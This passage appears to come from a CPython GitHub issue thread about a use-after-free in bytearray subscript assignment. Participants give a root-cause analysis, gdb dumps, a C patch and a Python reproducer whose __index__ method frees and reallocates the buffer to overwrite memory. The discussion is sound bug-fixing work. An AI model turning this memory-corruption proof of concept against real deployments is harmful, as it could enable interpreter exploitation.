$4 = {ob_base = {ob_base = {{ob_refcnt_full = 1, {ob_refcnt = 1, ob_overflow = 0, ob_flags = 0}}, ob_type = 0x555555a94a80 <PyByteArray_Type>}, ob_size = 56}, ob_alloc = 57, ob_bytes = 0x7ffff7499ab0 "", 
  ob_start = 0x7ffff7499ab0 "", ob_exports = 0}

mem is at 0x7ffff7499b30

$5 = {ob_base = {ob_base = {{ob_refcnt_full = 2, {ob_refcnt = 2, ob_overflow = 0, ob_flags = 0}}, ob_type = 0x555555a94a80 <PyByteArray_Type>}, ob_size = 72057594037927936}, ob_alloc = 0, ob_bytes = 0x0, 
  ob_start = 0x0, ob_exports = 0}

@picnixz picnixz removed 3.11 only security fixes 3.10 only security fixes labels Mar 29, 2025
@picnixz picnixz removed the 3.9 only security fixes label Mar 29, 2025
@picnixz picnixz changed the title Invalid memory write in bytearray UAF when writing to a bytearray with an element implementing __index__ with side-effects Mar 29, 2025
@bast0006
Copy link

bast0006 commented Mar 29, 2025

The bug is probably here:

bytearray_ass_subscript_lock_held(PyObject *op, PyObject *index, PyObject *values)
{
_Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(op);
PyByteArrayObject *self = _PyByteArray_CAST(op);
Py_ssize_t start, stop, step, slicelen;
char *buf = PyByteArray_AS_STRING(self);
if (_PyIndex_Check(index)) {
Py_ssize_t i = PyNumber_AsSsize_t(index, PyExc_IndexError);
if (i == -1 && PyErr_Occurred()) {
return -1;
}
int ival = -1;
// GH-91153: We need to do this *before* the size check, in case values
// has a nasty __index__ method that changes the size of the bytearray:
if (values && !_getbytevalue(values, &ival)) {

char *buf = PyByteArray_AS_STRING(self); retrieves a pointer to the buffer for the bytearray. but
if (values && !_getbytevalue(values, &ival)) { calls into python code via the __index__ implementation.

The call to .clear() replaces the original allocation, leaving buf dangling. The new bytearray() generated inside the __index__ is placed in the same spot and a bunch of memory overwrites happen. One of which overwrites the ob_size pointer, preventing the indexerror. Pydebug probably shifts things in memory and prevents this step from working.

I added

        if (PyByteArray_AS_STRING(self) != buf) {
            PyErr_Format(PyExc_RuntimeError, "bytearray buf mutated during use: was %p, is now %p", buf, PyByteArray_AS_STRING(self));
            return -1;
        }

to line 737 of bytearrayobject.c

Traceback (most recent call last):
  File "cpython/../breaks/im.py", line 10, in <module>
    a[23] = B()
    ~^^^^
RuntimeError: bytearray buf mutated during use: was 0x7ffff7499b30, is now 0x7ffff7499ab0

Indicating that this is almost certainly what is happening.

@picnixz
Copy link
Member

picnixz commented Mar 29, 2025

Isn't it possible to retrieve the buffer after performing the checks? or was there a reason to perform char *buf = PyByteArray_AS_STRING(self); before ensuring that self is not mutated.

@bast0006
Copy link

It's possible. I was just trying that, and it appears to solve the issue. I'm not sure about any other lingering potential drop-into-python risks, so I'm taking a look before I suggest a patch.

@bast0006
Copy link

How's this diff look?

diff --git a/Objects/bytearrayobject.c b/Objects/bytearrayobject.c
index 8f2d2dd0215..cd0c66ce036 100644
--- a/Objects/bytearrayobject.c
+++ b/Objects/bytearrayobject.c
@@ -709,7 +709,8 @@ bytearray_ass_subscript_lock_held(PyObject *op, PyObject *index, PyObject *value
     _Py_CRITICAL_SECTION_ASSERT_OBJECT_LOCKED(op);
     PyByteArrayObject *self = _PyByteArray_CAST(op);
     Py_ssize_t start, stop, step, slicelen;
-    char *buf = PyByteArray_AS_STRING(self);
+    // GH-91153: we cannot store a reference to the internal buffer here, as _getbytevalue might call into python code
+    // that could then invalidate it.
 
     if (_PyIndex_Check(index)) {
         Py_ssize_t i = PyNumber_AsSsize_t(index, PyExc_IndexError);
@@ -744,7 +745,7 @@ bytearray_ass_subscript_lock_held(PyObject *op, PyObject *index, PyObject *value
         }
         else {
             assert(0 <= ival && ival < 256);
-            buf[i] = (char)ival;
+            PyByteArray_AS_STRING(self)[i] = (char)ival;
             return 0;
         }
     }
@@ -805,6 +806,7 @@ bytearray_ass_subscript_lock_held(PyObject *op, PyObject *index, PyObject *value
             /* Delete slice */
             size_t cur;
             Py_ssize_t i;
+            char* buf = PyByteArray_AS_STRING(self);
 
             if (!_canresize(self))
                 return -1;
@@ -845,6 +847,7 @@ bytearray_ass_subscript_lock_held(PyObject *op, PyObject *index, PyObject *value
             /* Assign slice */
             Py_ssize_t i;
             size_t cur;
+            char* buf = PyByteArray_AS_STRING(self);
 
             if (needed != slicelen) {
                 PyErr_Format(PyExc_ValueError,

bast0006 added a commit to bast0006/cpython that referenced this issue Mar 29, 2025
bast0006 added a commit to bast0006/cpython that referenced this issue Mar 29, 2025
@bast0006
Copy link

bast0006 commented Mar 29, 2025

I am unsure how to test this. The repro has some magic values that depend on clobbering the ob_size field of the second bytearray, which will cause the test to silently cease to fail if internals of bytearray change in the future.

@picnixz
Copy link
Member

picnixz commented Mar 29, 2025

I am unsure how to test this. The repro has some magic values that depend on clobbering the ob_size field of the second bytearray, which will cause the test to silently cease to fail if internals of bytearray change in the future.

If you can find a reproducer, then we can just try before/after patch

@Nico-Posada
Copy link
Contributor

Simple reproducer which should help to test

ba = bytearray(0x180)

class Evil:
    def __index__(self):
        global ba, new_ba
        new_ba = ba.clear() or bytearray(0x180)
        ba.extend([0] * 0x180) # bypass bounds check
        return 0

ba[Evil()] = b"?"[0]
print(f"{ba[:10] = }")
print(f"{new_ba[:10] = }")

On unpatched version, output is

ba[:10] = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
new_ba[:10] = bytearray(b'?\x00\x00\x00\x00\x00\x00\x00\x00\x00')

On patched version, output is

ba[:10] = bytearray(b'?\x00\x00\x00\x00\x00\x00\x00\x00\x00')
new_ba[:10] = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')

I just changed the functionality to overwrite data from the new_ba buffer instead of the new_ba header.

bast0006 added a commit to bast0006/cpython that referenced this issue Apr 10, 2025
bast0006 added a commit to bast0006/cpython that referenced this issue Apr 10, 2025
@bast0006
Copy link

I think this test will do. Thanks for your example, it wasn't hard to adapt.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
interpreter-core (Objects, Python, Grammar, and Parser dirs) type-crash A hard crash of the interpreter, possibly with a core dump
Projects
None yet
Development

No branches or pull requests

10 participants